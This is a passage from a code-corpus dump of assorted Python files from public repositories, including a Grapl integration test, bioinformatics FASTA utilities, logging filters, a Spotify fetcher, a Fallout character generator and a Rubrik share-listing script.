buckets:\n # - No lens\n # - Lens with 3 scope\n # - Lens with 4 scope\n # - Lens with 5 scope (correct)\n\n query = LensQuery().with_lens_name(LENS_NAME)\n lens: LensView = wait_for_one(WaitForQuery(query), timeout_secs=120)\n assert lens.get_lens_name() == LENS_NAME\n\n # lens scope is not atomic\n def condition() -> bool:\n length = len(lens.get_scope())\n logging.info(f\"Expected 3-5 nodes in scope, currently is {length}\")\n\n # The correct answer for this is 5.\n # We are temp 'allowing' below that because it means the pipeline is, _mostly_, working.\n return length in (\n 3,\n 4,\n 5,\n )\n\n wait_for_one(WaitForCondition(condition), timeout_secs=240)\n\n gql_client = GraphqlEndpointClient(jwt=EngagementEdgeClient().get_jwt())\n ensure_graphql_lens_scope_no_errors(gql_client, LENS_NAME)\n\n\ndef ensure_graphql_lens_scope_no_errors(\n gql_client: GraphqlEndpointClient,\n lens_name: str,\n) -> None:\n \"\"\"\n Eventually we'd want more-robust checks here, but this is an acceptable\n smoke test in the mean time.\n \"\"\"\n gql_lens = gql_client.query_for_scope(lens_name=lens_name)\n assert len(gql_lens[\"scope\"]) in (3, 4, 5)\n\n # Accumulate [\"Asset\"], [\"Process\"] into Set(\"Asset, Process\")\n all_types_in_scope = set(\n sum((node[\"dgraph_type\"] for node in gql_lens[\"scope\"]), [])\n )\n assert all_types_in_scope == set(\n (\n \"Asset\",\n \"Process\",\n )\n )\n", "source": "hxnyk/grapl", "license": "Apache-2.0"} {"text": "class Solution:\n def moveZeroes(self, nums: List[int]) -> None:\n \n non_zeros = [i for i in range(len(nums)) if nums[i] != 0] # List comprehension to keep only numbers that are non -zero\n nz = len(non_zeros) \n nums[:nz] = [nums[i] for i in non_zeros] # edit the list to add non zero numbers to the list \n nums[nz:] = [0] *(len(nums)-nz) #dd zeroes at the end", "source": "rahil-1407/Data-Structure-and-Algorithms", "license": "MIT"} {"text": "\"\"\"rethinkDB connection\"\"\"\nimport rethinkdb as r\n\n\nclass Connection(object):\n \"\"\"RethinkDB Connection handler\"\"\"\n __connection__ = None\n __db__ = None\n __host__ = None\n __port__ = None\n __user__ = None\n __password__ = None\n __session__ = None\n __table__ = None\n\n def __init__(self,\n host,\n port,\n user,\n password,\n db,\n **kw):\n self.__db__ = db\n self.__host__ = host\n self.__password__ = password\n self.__port__ = port\n self.__user__ = user\n self.__table__ = kw.get('table')\n self._setup_connection(**kw)\n\n def _setup_connection(self, **kw):\n if self.__connection__ is None:\n self.__connection__ = r.connect(host=self.host,\n port=self.port,\n user=self.user,\n password=self.password,\n db=self.db,\n **kw)\n\n @property\n def db(self):\n return self.__db__\n\n @property\n def host(self):\n return self.__host__\n\n @property\n def password(self):\n return self.__password__\n\n @property\n def port(self):\n return self.__port__\n\n @property\n def session(self):\n \"\"\"get the connection to the database\"\"\"\n if self.__connection__ == None:\n self._setup_connection()\n\n return self.__connection__\n\n @property\n def table(self):\n return self.__table__\n\n @property\n def user(self):\n return self.__user__\n\n def close(self):\n if self.__session__:\n self.session.close()\n\n def remove(self):\n \"\"\"close and remove the connection\"\"\"\n self.close()\n self.__connection__ = None\n\n def commit(self):\n \"\"\"call run on the db\"\"\"\n return\n\n def open(self):\n \"\"\"\n close the connection if it is open\n reopen a new connection to the DB\"\"\"\n self.session.reconnect()\n\n @property\n def connect(self):\n \"\"\"make the connection; create a connection if it does not\n exist.\n \"\"\"\n self._setup_connection()\n\n @property\n def created(self):\n return r.now()\n\n modified = created\n\n @property\n def model(self):\n \"\"\"create a model of the record to store in the database\n \"\"\"\n return self.__model__\n\n @property\n def r(self):\n return r\n", "source": "sawdog/pyramidbridge", "license": "MIT"} {"text": "default_mapping = {\n 'Recipient Name': 'recipient_name',\n 'Recipient DUNS Number': 'recipient_unique_id',\n 'Awarding Agency': 'awarding_toptier_agency_name',\n 'Awarding Agency Code': 'awarding_toptier_agency_code',\n 'Awarding Sub Agency': 'awarding_subtier_agency_name',\n 'Awarding Sub Agency Code': 'awarding_subtier_agency_code',\n 'Funding Agency': 'funding_toptier_agency_name', # Leave in for possible future use\n 'Funding Agency Code': 'funding_toptier_agency_code', # Leave in for possible future use\n 'Funding Sub Agency': 'funding_subtier_agency_name', # Leave in for possible future use\n 'Funding Sub Agency Code': 'funding_subtier_agency_code', # Leave in for possible future use\n 'Place of Performance City Code': 'pop_city_code',\n 'Place of Performance State Code': 'pop_state_code',\n 'Place of Performance Country Code': 'pop_country_code',\n 'Place of Performance Zip5': 'pop_zip5',\n 'Period of Performance Start Date': 'period_of_performance_start_date',\n 'Period of Performance Current End Date': 'period_of_performance_current_end_date',\n 'Description': 'description',\n 'Last Modified Date': 'last_modified_date',\n 'Base Obligation Date': 'date_signed',\n}\n\naward_contracts_mapping = default_mapping.copy()\ngrant_award_mapping = default_mapping.copy()\nloan_award_mapping = default_mapping.copy()\ndirect_payment_award_mapping = default_mapping.copy()\nother_award_mapping = default_mapping.copy()\n\naward_contracts_mapping.update({\n 'Award ID': 'piid',\n 'Start Date': 'period_of_performance_start_date',\n 'End Date': 'period_of_performance_current_end_date',\n 'Award Amount': 'total_obligation',\n 'Contract Award Type': 'type_description',\n\n})\n\ngrant_award_mapping.update({\n 'Award ID': 'fain',\n 'Start Date': 'period_of_performance_start_date',\n 'End Date': 'period_of_performance_current_end_date',\n 'Award Amount': 'total_obligation',\n 'Award Type': 'type_description',\n 'SAI Number': 'sai_number',\n 'CFDA Number': 'cfda_number'\n})\n\nloan_award_mapping.update({\n 'Award ID': 'fain',\n 'Issued Date': 'action_date',\n 'Loan Value': 'total_loan_value',\n 'Subsidy Cost': 'total_subsidy_cost',\n 'SAI Number': 'sai_number',\n 'CFDA Number': 'cfda_number'\n})\n\ndirect_payment_award_mapping.update({\n 'Award ID': 'fain',\n 'Start Date': 'period_of_performance_start_date',\n 'End Date': 'period_of_performance_current_end_date',\n 'Award Amount': 'total_obligation',\n 'Award Type': 'type_description',\n 'SAI Number': 'sai_number',\n 'CFDA Number': 'cfda_number'\n})\n\nother_award_mapping.update({\n 'Award ID': 'fain',\n 'Start Date': 'period_of_performance_start_date',\n 'End Date': 'period_of_performance_current_end_date',\n 'Award Amount': 'total_obligation',\n 'Award Type': 'type_description',\n 'SAI Number': 'sai_number',\n 'CFDA Number': 'cfda_number'\n})\n\naward_assistance_mapping = {**grant_award_mapping, **loan_award_mapping, **direct_payment_award_mapping,\n **other_award_mapping}\nnon_loan_assistance_award_mapping = assistance_award_mapping = {**grant_award_mapping, **direct_payment_award_mapping,\n **other_award_mapping}\n", "source": "animatecitizen/usaspending-api", "license": "CC0-1.0"} {"text": "from collections import Counter\nimport typing\nfrom pathlib import Path\nimport subprocess\nimport os\n\n\ndef run_muscle(guide_alignment, in_file, out_file):\n\n command = ['muscle', '-quiet', '-profile', '-in1', guide_alignment, '-in2', in_file, '-out', out_file]\n\n subprocess.check_call(command)\n\ndef add_sequences_to_alignment(new_fasta_file, old_fasta_file, out_file):\n run_muscle(old_fasta_file, new_fasta_file, out_file)\n alignment = get_sequences_from_fasta(out_file)\n return alignment\n\n\ndef get_sequences_from_fasta_yield(fasta_file: typing.Union[str, Path]) -> tuple:\n \"\"\"\n Returns (accession, sequence) iterator\n Parameters\n ----------\n fasta_file\n\n Returns\n -------\n (accession, sequence)\n \"\"\"\n with open(fasta_file) as f:\n current_sequence = \"\"\n current_key = None\n for line in f:\n if not len(line.strip()):\n continue\n if \">\" in line:\n if current_key is None:\n current_key = line.split(\">\")[1].strip()\n else:\n yield current_key, current_sequence\n current_sequence = \"\"\n current_key = line.split(\">\")[1].strip()\n else:\n current_sequence += line.strip()\n yield current_key, current_sequence\n\n\ndef get_sequences_from_fasta(fasta_file: typing.Union[str, Path]) -> dict:\n \"\"\"\n Returns dict of accession to sequence from fasta file\n Parameters\n ----------\n fasta_file\n\n Returns\n -------\n {accession:sequence}\n \"\"\"\n return {\n key: sequence for (key, sequence) in get_sequences_from_fasta_yield(fasta_file)\n }\n\n\ndef get_alignment_subselection(\n alignment: typing.Dict[str, str], keys: typing.List[str], error: bool = True\n):\n \"\"\"\n Obtain a subselection of full sequence alignment\n\n Parameters\n ----------\n alignment\n dict of key: aligned sequence\n keys\n set of keys to include in the output alignment\n error\n if True, errors if key not in alignment\n Returns\n -------\n dictionary of aligned sequences\n \"\"\"\n # compile fasta of selected headers\n if error:\n for key in keys:\n assert key in alignment, f\"{key} not found in alignment\"\n else:\n keys = [k for k in keys if k in alignment]\n alignment_length = len(alignment[keys[0]])\n\n # find positions where all sequences have a break\n breaks = set()\n for i in range(alignment_length):\n if all(alignment[key][i] == \"-\" for key in keys):\n breaks.add(i)\n\n # keep only char's where not all sequences have a break\n sub_alignment = {}\n for key in keys:\n sub_alignment[key] = \"\".join(\n [char for idx, char in enumerate(alignment[key]) if idx not in breaks]\n )\n return sub_alignment\n\n\ndef alignment_to_fasta(alignment: typing.Dict[str, str]) -> str:\n \"\"\"\n Convert alignment dict to fasta format\n\n Parameters\n ----------\n alignment\n dict of key: aligned sequence\n\n Returns\n -------\n fasta-formatted string\n \"\"\"\n fasta = []\n for key, sequence in alignment.items():\n fasta.append(f\">{key}\\n{sequence}\")\n return \"\\n\".join(fasta)\n\n\ndef alignment_conservation(alignment: typing.Dict[str, str]) -> typing.List[float]:\n \"\"\"\n Obtain residue conservations of each position in a sequence alignment\n\n Parameters\n ----------\n alignment\n dict of key: aligned sequence\n\n Returns\n -------\n list of conservation values\n \"\"\"\n conservations = []\n length = len(alignment[list(alignment.keys())[0]])\n for pos in range(length):\n aligned_residues_count = Counter(\n [alignment[key][pos] for key in alignment if alignment[key][pos] != \"-\"]\n )\n conservation = aligned_residues_count.most_common(1)[0][1] / len(alignment)\n conservations.append(conservation)\n return conservations\n\n\ndef format_as_fasta(alignment):\n fasta = []\n for key in alignment:\n fasta.append(f\">{key}\\n{alignment[key]}\\n\")\n return \"\".join(fasta)\n", "source": "BTheDragonMaster/turterra", "license": "MIT"} {"text": "import collections\nimport datetime\nimport json\nimport logging\nimport time\n\n# Python 2 compatibility\ntry:\n from logging.handlers import QueueHandler\nexcept ImportError:\n from logutils.queue import QueueHandler\n\n\n# Python 2/3 hack for stringify, below\ntry:\n unicode\nexcept NameError:\n unicode = str\n\n\nnocolor = 0\nred = 31\ngreen = 32\nyellow = 33\nblue = 34\ngray = 37\nstarttime = time.time()\n\n\ndef secs_since(starttime):\n \"\"\"Return the (padded) number of whole seconds since `starttime`.\n\n :param starttime: time to calculate seconds since\n :type starttime: int number of seconds since the epoch\n :returns: number of seconds since starttime padded to 4 with 0s\n :rtype: str\n \"\"\"\n return '{0:0>4}'.format(int(time.time() - starttime))\n\n\ndef strtime():\n \"\"\"Return the current time in a string conforming to RFC3339.\n\n :returns: current time in RFC3339 format\n :rtype: str\n \"\"\"\n\n curr_time = time.time()\n fmtd_time = time.strftime('%Y-%m-%dT%H:%M:%S', time.localtime(curr_time))\n\n utc_offset = ((datetime.datetime.fromtimestamp(curr_time) -\n datetime.datetime.utcfromtimestamp(curr_time)).\n total_seconds())\n utc_hours = int(utc_offset // 3600)\n utc_mins = abs(int(utc_offset % 3600 // 60))\n\n return '{0}{1:0=+3}:{2:0>2}'.format(fmtd_time, utc_hours, utc_mins)\n\n\ndef levelcolor(level):\n \"\"\"Return the terminal color number appropriate for the logging level.\n\n :param int level: logging level in integer form\n :returns: the SGR parameter number for foreground text color\n :rtype: int\n \"\"\"\n\n if level == logging.DEBUG:\n return green\n elif level == logging.WARNING:\n return yellow\n elif level in (logging.ERROR, logging.CRITICAL):\n return red\n else:\n return blue\n\n\nclass DictLogFilter(object):\n \"\"\"A logging 'filter' that adds arbitrary data to messages.\n\n Depending on the output format type in self.output the filter converts a\n dict-type log msg to the appropriate format. The formats are intended to\n mimic the Sirupsen/logrus formats and are: 'json', 'text', and 'tty'. If\n self.output is None or a different string, 'json' formatting is used.\n\n The 'json' output format is a valid json object with current time and log\n level added to the log msg dict.\n\n The 'text' output is a 'key=val key=val' string with current time and log\n level added to the data from the log msg dict.\n\n The 'tty' output is a colorized output with the log level (truncated to\n four characters) followed by the number of seconds since program start\n followed by the 'msg' value from the log msg dict, followed by any other\n data from the dict in 'key=val key=val' format.\n \"\"\"\n\n def __init__(self, output=None):\n \"\"\"Create a DictLogFilter object, setting the output format if given.\n\n :param output: the output format\n :type output: None or str from ['json', 'text', or 'tty']\n :returns: a new DictLogFilter object\n :rtype: Dic)LogFilter\n \"\"\"\n self.output = output\n\n def filter(self, record):\n \"\"\"Format the log record if record.msg is a dict.\n\n Dispatch the record to appropriate '*filter' method depending on the\n the value of self.output. json formatting is the default.\n\n :param record: a log record instance\n :type record: logging.LogRecord\n :returns: always True to indicate the record should be handled\n :rtype: bool\n \"\"\"\n\n if not isinstance(record.msg, dict):\n return True\n\n if self.output == 'text':\n return self.text_filter(record)\n elif self.output == 'tty':\n return self.tty_filter(record)\n else:\n return self.json_filter(record)\n\n def json_filter(self, record):\n \"\"\"Format the log record in json style.\n\n :param record: a log record instance\n :type record: logging.LogRecord\n :returns: always True to indicate the record should be handled\n :rtype: bool\n \"\"\"\n # Add time and level entries.\n record.msg['time'] = strtime()\n record.msg['level'] = record.levelname.lower()\n\n # Ensure all keys and values are stringified to assist json.dumps.\n record.msg = stringify(record.msg)\n\n # Make sure msg is valid JSON.\n record.msg = json.dumps(record.msg)\n return True\n\n def tty_filter(self, record):\n \"\"\"Format the log record in tty style.\n\n :param record: a log record instance\n :type record: logging.LogRecord\n :returns: always True to indicate the record should be handled\n :rtype: bool\n \"\"\"\n\n # Ensure all keys and values are stringified.\n record.msg = stringify(record.msg)\n\n # Construct the start of the message.\n out = '\\x1b[{0}m{1}\\x1b[0m[{2}] {3}'.format(levelcolor(record.levelno),\n record.levelname[:4],\n secs_since(starttime),\n record.msg.get('msg', ''))\n\n # Pad to or truncate at 80 characters.\n out = '{0:<80}'.format(out)\n\n # Format into colorized k=v pairs\n for k, v in record.msg.items():\n if k != 'msg':\n out = out + ' \\x1b[{0}m{1}\\x1b[0m={2}'\\\n .format(levelcolor(record.levelno), k, v)\n\n record.msg = out\n\n return True\n\n def text_filter(self, record):\n \"\"\"Format the log record in text style.\n\n :param record: a log record instance\n :type record: logging.LogRecord\n :returns: always True to indicate the record should be handled\n :rtype: bool\n \"\"\"\n\n # Add time and level entries.\n record.msg['time'] = strtime()\n record.msg['level'] = record.levelname.lower()\n\n # Ensure all keys and values are stringified.\n record.msg = stringify(record.msg)\n\n # Attempt to meet the logfmt-compatible format.\n # Format into k=v pairs, quoting the v's.\n record.msg = ['{0}=\"{1}\"'.format(k, v) for k, v in record.msg.items()]\n\n # Join with a space\n record.msg = \" \".join(record.msg)\n\n return True\n\n\nclass DictQueueHandler(QueueHandler):\n \"\"\"A logging QueueHandler that does *not* convert dict msgs to strings.\n\n In order to make the log record picklable, the logging QueueHandler calls\n self.prepare, which calls self.format, before enqueuing the log record.\n This is problematic for the DictLogFilter because it converts the dict into\n a string. See https://hg.python.org/cpython/file/3.5/Lib/logging/handlers.py#l1289\n for details.\n \n This handler attempts to make the log record picklable without converting\n dict msgs to strings. If the msg is a dict, it reconstructs the dict with\n the result of calling str on all its items. If args exist, it does the same\n there. If exc_info exists, it uses self.formatter.formatException to\n convert it to string and then stores it in the exc_text attribute and wipes\n exc_info.\n \"\"\" # noqa\n\n formatter = logging.Formatter()\n\n def prepare(self, record):\n \"\"\"Prepare the log record for pickling.\n\n If record.msg is a mapping, call str on all its items. If record.args\n is a sequence or mapping, call str on all its items. Convert\n record.exc_info to a string at record.exc_text, using\n self.formatter.formatException, and wipe out record.exc_info.\n\n :param record: the log record to prepare\n :type record: logging.LogRecord\n :returns: the prepared log record\n :rtype: logging.LogRecord\n \"\"\"\n\n record.msg = stringify(record.msg)\n record.args = stringify(record.args)\n\n if record.exc_info:\n record.exc_text = self.formatter.formatException(record.exc_info)\n record.exc_info = None\n\n return record\n\n\ndef stringify(obj):\n \"\"\"Recursively str() an object, leaving mappings and sequences.\"\"\"\n if isinstance(obj, str):\n new_obj = obj\n elif isinstance(obj, unicode):\n new_obj = str(obj)\n elif isinstance(obj, collections.Mapping):\n new_obj = {str(k): stringify(v) for k, v in obj.items()}\n elif isinstance(obj, collections.Sequence):\n new_obj = [stringify(i) for i in obj]\n else:\n new_obj = str(obj)\n return new_obj\n", "source": "PEDSnet/pedsnetdcc", "license": "BSD-2-Clause"} {"text": "import matplotlib.pyplot as plt\nimport seaborn as sns\n\n\ndef attention_visualization(att):\n sns.heatmap(att[0, :, :])\n plt.show()\n", "source": "arpit196/multihead-siamese-nets", "license": "MIT"} {"text": "\"\"\"Tests for RadiaCode 101 sensor component integration.\"\"\"\n", "source": "vooon/hass-radiacode", "license": "MIT"} {"text": "import logging\n\nfrom aitools.logic.core import Expression, Variable, LogicObject\nfrom aitools.logic.language import Language\nfrom aitools.logic.unification import Substitution\nfrom aitools.logic.utils import VariableSource\nfrom aitools.proofs.components import HandlerArgumentMode, HandlerSafety\nfrom aitools.proofs.knowledge_base import KnowledgeBase\nfrom aitools.proofs.language import Implies, Not\nfrom aitools.proofs.provers import TruthSubstitutionPremises, Prover, TruthSubstitution\n\nlogger = logging.getLogger(__name__)\n\nlanguage = Language()\n\nasync def restricted_modus_ponens(formula: LogicObject, substitution: Substitution, kb: KnowledgeBase):\n \"\"\"Restricted backward version of modus ponens, which won't perform recursive proof of implications\"\"\"\n v = VariableSource(language=language)\n if not (isinstance(formula, Expression) and formula.children[0] == Implies):\n rule_pattern = Implies(v.premise, formula)\n\n async for rule_proof in kb.async_prove(rule_pattern, previous_substitution=substitution):\n premise = rule_proof.substitution.get_bound_object_for(v.premise)\n async for premise_proof in kb.async_prove(premise, previous_substitution=rule_proof.substitution):\n yield TruthSubstitutionPremises(truth=True, substitution=premise_proof.substitution,\n premises=(rule_proof, premise_proof))\n\n\nRestrictedModusPonens = Prover(\n listened_formula=Variable(language=language), handler=restricted_modus_ponens, argument_mode=HandlerArgumentMode.RAW,\n pass_substitution_as=..., pass_knowledge_base_as='kb', pure=True, safety=HandlerSafety.SAFE\n)\n\n\nasync def closed_world_assumption(formula: LogicObject, substitution: Substitution, kb: KnowledgeBase):\n language = Language()\n v = VariableSource(language=language)\n match = Substitution.unify(formula, Not(v.P))\n if match is not None:\n try:\n await kb.async_prove(match.get_bound_object_for(v.P)).__anext__()\n except StopAsyncIteration:\n return TruthSubstitution(True, substitution)\n\n\nClosedWorldAssumption = Prover(\n listened_formula=Variable(language=language), handler=closed_world_assumption, argument_mode=HandlerArgumentMode.RAW,\n pass_substitution_as=..., pass_knowledge_base_as='kb', pure=True, safety=HandlerSafety.SAFE\n)\n", "source": "OneManEquipe/thinkerino", "license": "MIT"} {"text": "address_coordinate_cache = {}\n\n\ndef calculate_distance_address_store(address, store):\n address_latitude, address_longitude = get_coordinates_for_address(address)\n return calculate_distance_between_coordinates(address_latitude, address_longitude, store.latitude, store.longitude)\n\n\ndef calculate_distance_between_coordinates(latitude1, longitude1, latitude2, longitude2):\n from math import sin, cos, sqrt, atan2, radians\n # approximate radius of earth in km\n R = 6373.0\n\n lat1 = radians(float(latitude1))\n lon1 = radians(float(longitude1))\n lat2 = radians(float(latitude2))\n lon2 = radians(float(longitude2))\n dlon = lon2 - lon1\n dlat = lat2 - lat1\n a = sin(dlat / 2) ** 2 + cos(lat1) * cos(lat2) * sin(dlon / 2) ** 2\n c = 2 * atan2(sqrt(a), sqrt(1 - a))\n distance = R * c\n return distance\n\n\ndef get_coordinates_for_address(address):\n import json\n import urllib3\n http = urllib3.PoolManager()\n # Cache the coordinates\n\n if address not in address_coordinate_cache:\n r = http.request('GET',\n f\"https://nominatim.openstreetmap.org/search/{address}?format=json\")\n location_data = json.loads(r.data)\n address_coordinate_cache[address] = (location_data[0][\"lat\"], location_data[0][\"lon\"])\n return address_coordinate_cache[address]\n", "source": "felixwoestmann/gold_digger", "license": "MIT"} {"text": "import logging\nfrom ktrade.config import is_configured, configuration_for\nfrom time import sleep\nfrom ktrade.queues import inbound_queue, outbound_queue\nfrom ibapi.client import EClient\nfrom ibapi.wrapper import EWrapper\nfrom threading import Thread\n\nclass IBApi(EWrapper, EClient):\n def __init__(self):\n EClient.__init__(self, self)\n\ndef ib_loop(api):\n api.run()\n\ndef start_listening(app):\n \"\"\" The main entry point to the background thread which is responsible\n for sending and receiving messages to and from TWS\n \"\"\"\n ib = IBApi()\n log = logging.getLogger(__name__)\n connected = False\n\n with app.app_context():\n log.debug(\"Started IB background thread\")\n\n while not connected:\n # sleep(5)\n if (is_configured()):\n # # App is configured, lets get connecting!\n log.debug(\"App configured. Connecting to TWS\")\n host = configuration_for(\"tws_host\").value\n port = configuration_for(\"tws_port\").value\n\n ib.connect(host, int(port), 1)\n api_thread = Thread(target=ib_loop, daemon=True, args=[ib])\n api_thread.start()\n connected = True\n else:\n # Not configured. We'll wait a bit then try again\n log.debug(\"App not configured. Will retry in 5 seconds\")\n sleep(5)\n\n # Now we're connected, we wait for message from the client\n log.info(\"TWS connected. Awaiting messages...\")\n while True:\n message = inbound_queue.get(block=True)\n log.info(f'Received message: {message.message_type}')\n", "source": "ShabbirHasan1/ktrade", "license": "MIT"} {"text": "import requests\nfrom datetime import timedelta\n\nfrom app.spotify_api import get_auth_header\n\n\ndef get_albums(data):\n result = []\n for item in data:\n skip = False\n header = get_auth_header()\n songs_r = requests.get(f'https://api.spotify.com/v1/albums/{item[\"id\"]}/tracks', headers=header)\n if songs_r.status_code == 200:\n if not songs_r.json()['items'][0]['preview_url']:\n continue\n else:\n songs = []\n counter = 1\n for song in songs_r.json()['items']:\n sound_url = song['preview_url']\n if not sound_url:\n skip = True\n break;\n song_name = song['name']\n spt_song_id = song['id']\n order_number = counter\n counter += 1\n duration = str(timedelta(milliseconds=song['duration_ms']))[2:7]\n songs.append({\n 'spt_song_id': spt_song_id,\n 'song_name': song_name,\n 'order_number': order_number,\n 'duration': duration,\n 'sound_url': sound_url\n })\n\n if skip:\n continue\n spt_album_id = item['id']\n cover_image_url = item['images'][0]['url']\n album_name = item['name']\n artists = []\n for artist in item['artists']:\n r_artist = requests.get(artist['href'], headers=header)\n if r_artist.status_code == 200:\n artist_cover_img_url = r_artist.json()['images'][0]['url']\n spt_artist_id = artist['id']\n artist_name = artist['name']\n else:\n print(f'There was an error fetching {artist[\"name\"]}\\'s image.')\n continue\n artists.append({\n 'spt_artist_id': spt_artist_id,\n 'artist_name': artist_name,\n 'cover_image_url': artist_cover_img_url\n })\n result.append({\n 'spt_album_id': spt_album_id,\n 'cover_image_url': cover_image_url,\n 'album_name': album_name,\n 'artists': artists,\n 'songs': songs\n })\n return result\n\n", "source": "PlatziMasterSound/MasterSound-DataScience", "license": "MIT"} {"text": "\"\"\"Create a Character Generator for Fallout 4.\"\"\"\n\n# print(\"You awake from 200 years in deep freeze. The wasteland awaits you.\")\n# name = input(\"What's your name? \")\n# gender = input(\"What's your gender? \")\n# points = 21\n# attributes = (\"Strength\", \"Perception\", \"Endurance\", \"Charisma\", \"Intelligence\", \"Agility\", \"Luck\")\n# strength = 1\n# perception = 1\n# endurance = 1\n# charisma = 1\n# intelligence = 1\n# agility = 1\n# luck = 1\n\n# while True:\n# print\n# print(\"You have \", points, \"points left.\")\n# print(\n# \"\"\"\n# 1 - add points\n# 2 - remove points\n# 3 - see points per attribute\n# 4 - exit\n# \"\"\")\n\n # choice = input(\"choice: \").upper()\n # if choice == \"1\":\n # attribute = input(\"which attribute? S. P. E. C. I. A. L.?\")\n # if attribute in attributes:\n # add = int(input(\"How many points? \"))\n # if add <= points and add > 0:\n # if attribute == \"S\" or attribute == \"s\":\n # strength += add\n # print(name, \"now has \", strength, \"strength points.\")\n # elif attribute == \"P\":\n # perception += add\n # print(name, \"now has \", perception, \"perception points.\")\n # elif attribute == \"E\":\n # endurance += add\n # print(name, \"now has \", endurance, \"endurance points.\")\n # elif attribute == \"C\":\n # charisma += add\n # print(name, \"now has \", charisma, \"charisma points.\")\n # elif attribute == \"I\":\n # intelligence += add\n # print(name, \"now has \", intelligence, \"intelligence points.\")\n # elif attribute == \"A\":\n # agility += add\n # print(name, \"now has \", agility, \"agility points.\")\n # elif attribute == \"L\":\n # luck += add\n # print(name, \"now has \", luck, \"luck points.\")\n # points -= add\n # else:\n # print(\"Invalid attribute. You are likely to be eaten by a Grue.\")\n # elif choice == \"2\":\n # if attribute in attributes:\n # remove = int(input(\"How many points? \"))\n # # if remove <= points and remove > 0:\n # if attribute == \"S\" or attribute == \"s\" and remove <= strength and remove > 1:\n # strength -= remove\n # print(name, \"now has \", strength, \"strength points.\")\n # points += remove\n # elif attribute == \"P\" and remove <= strength and remove > 1:\n # perception -= remove\n # print(name, \"now has \", perception, \"perception points.\")\n # points += remove\n # elif attribute == \"E\" and remove <= strength and remove > 1:\n # endurance -= remove\n # print(name, \"now has \", endurance, \"endurance points.\")\n # points += remove\n # elif attribute == \"C\" and remove <= strength and remove > 1:\n # charisma -= remove\n # print(name, \"now has \", charisma, \"charisma points.\")\n # points += remove\n # elif attribute == \"I\" and remove <= strength and remove > 1:\n # intelligence -= remove\n # print(name, \"now has \", intelligence, \"intelligence points.\")\n # points += remove\n # elif attribute == \"A\" and remove <= strength and remove > 1:\n # agility -= remove\n # print(name, \"now has \", agility, \"agility points.\")\n # points += remove\n # elif attribute == \"L\" and remove <= strength and remove > 1:\n # luck -= remove\n # print(name, \"now has \", luck, \"luck points.\")\n # points += remove\n # points += remove\n # else:\n # print(\"Invalid attribute. You are likely to be eaten by a Grue.\")\n # elif choice == \"3\":\n # print(\"Strength: \"), strength\n # print(\"Perception: \"), perception\n # print(\"Endurance: \"), endurance\n # print(\"Charisma: \"), charisma\n # print(\"Intellignce: \"), intelligence\n # print(\"Agility: \"), agility\n # print(\"Luck: \"), luck\n\n\ndef create_character():\n \"\"\"Set up the character creation method.\"\"\"\n attribute = input(\"\\nwhich attribute? S. P. E. C. I. A. L.?\").upper()\n\n if attribute in my_character.keys():\n amount = int(input(\"By how much?\"))\n\n if (amount > my_character['points']) or (my_character['points'] <= 1):\n print(\"Not enough points!\")\n else:\n my_character[attribute] += amount\n my_character['points'] -= amount\n else:\n print(\"\\nThat attribute doesn't exist!\\n\")\n\n\ndef print_character():\n \"\"\"Display the character stats for the user.\"\"\"\n for attribute in my_character.keys():\n print(attribute, \" : \", my_character[attribute])\n\n# MAIN FUNCTION\n\nmy_character = {'name': '', 'S': 1, 'P': 1, 'E': 1, 'C': 1, 'I': 1, 'A': 1, 'L': 1, 'points': 21}\nrunning = True\n\nprint(\"You awake from 200 years in deep freeze. The wasteland awaits you.\")\n\nmy_character['name'] = input(\"What is your character's name? \")\n\nwhile running:\n print(\"\\nYou have \", my_character['points'], \" points to distribute amongst your S.P.E.C.I.A.L. attributes.\\n\")\n print(\"1. Add points\\n2. Remove points\\n3. See current attributes\\n4. Exit\\n\")\n\n choice = input(\"Choose wisely:\")\n\n if choice == \"1\":\n add_character_points()\n elif choice == \"2\":\n remove_character_points()\n elif choice == \"3\":\n print_character()\n elif choice == \"4\":\n if points > 0:\n print(\"Use all your points first!\")\n else:\n running = False\n else:\n pass\n", "source": "mshinners/rpg-char-gen", "license": "MIT"} {"text": "#!/usr/bin/python\n\nfrom __future__ import print_function\nimport sys\nimport rubrik_cdm\nimport getopt\nimport getpass\nimport urllib3\nurllib3.disable_warnings()\n\n\ndef usage():\n sys.stderr.write(\"Usage: rbk_share_grab.py [-h] [-c creds] [-p protocol] [-t token] [-o outfile] rubrik\\n\")\n sys.stderr.write(\"-h | --help: Prints this message\\n\")\n sys.stderr.write(\"-c | --creds : Enter cluster credentials on the CLI [user:password]\\n\")\n sys.stderr.write(\"-p | --protocol : Only grab shares of the given protocol [NFS | SMB]\\n\")\n sys.stderr.write(\"-t | --token : Authenticate via token\\n\")\n sys.stderr.write(\"-o | --output : Write output to a file\\n\")\n sys.stderr.write(\"rubrik : Hostname or IP of a Rubrik Cluster\\n\")\n exit(0)\n\ndef python_input(message):\n if int(sys.version[0]) > 2:\n value = input(message)\n else:\n value = raw_input(message)\n return(value)\n\nif __name__ == \"__main__\":\n user = \"\"\n password = \"\"\n token = \"\"\n protocol = \"\"\n outfile = \"\"\n timeout = 60\n\n optlist, args = getopt.getopt(sys.argv[1:], 'c:t:p:ho:', ['creds=', 'token=', 'protocol=', 'help', 'output='])\n for opt, a in optlist:\n if opt in ('-c', '--creds'):\n (user, password) = a.split(':')\n if opt in ('-t', '--token'):\n token = a\n if opt in ('-p', '--protocol'):\n protocol = a.upper()\n if opt in ('-h', '--help'):\n usage()\n if opt in ('-o', '--output'):\n outfile = a\n try:\n rubrik_node = args[0]\n except:\n usage()\n if not user:\n user = python_input(\"User: \")\n if not password:\n password = getpass.getpass(\"Password: \")\n if token != \"\":\n rubrik = rubrik_cdm.Connect(rubrik_node, api_token=token)\n else:\n rubrik = rubrik_cdm.Connect(rubrik_node, user, password)\n hs_data = rubrik.get('internal', '/host/share', timeout=timeout)\n if outfile:\n fp = open(outfile, \"w\")\n for hs in hs_data['data']:\n if protocol != \"\" and protocol != hs['shareType']:\n continue\n if hs['status'] != \"REPLICATION_TARGET\":\n if outfile:\n fp.write(hs['hostname'] + \":\" + hs['exportPoint'] + \"\\n\")\n else:\n print(hs['hostname'] + \":\" + hs['exportPoint'])\n if outfile:\n fp.close()\n\n\n\n\n", "source": "adamrfox/rbk_nas_bulk_add", "license": "MIT"} {"text": "import pickle\r\nman = []\r\nother = []\r\n\r\ntry:\r\n with open('sketch.txt') as data:\r\n for each_line in data:\r\n try:\r\n (role, line_spoken) = each_line.split(':',1)\r\n line_spoken = line_spoken.strip()\r\n if role == 'Other Man':\r\n man.append(line_spoken)\r\n elif role == 'Man':\r\n other.append(line_spoken)\r\n except 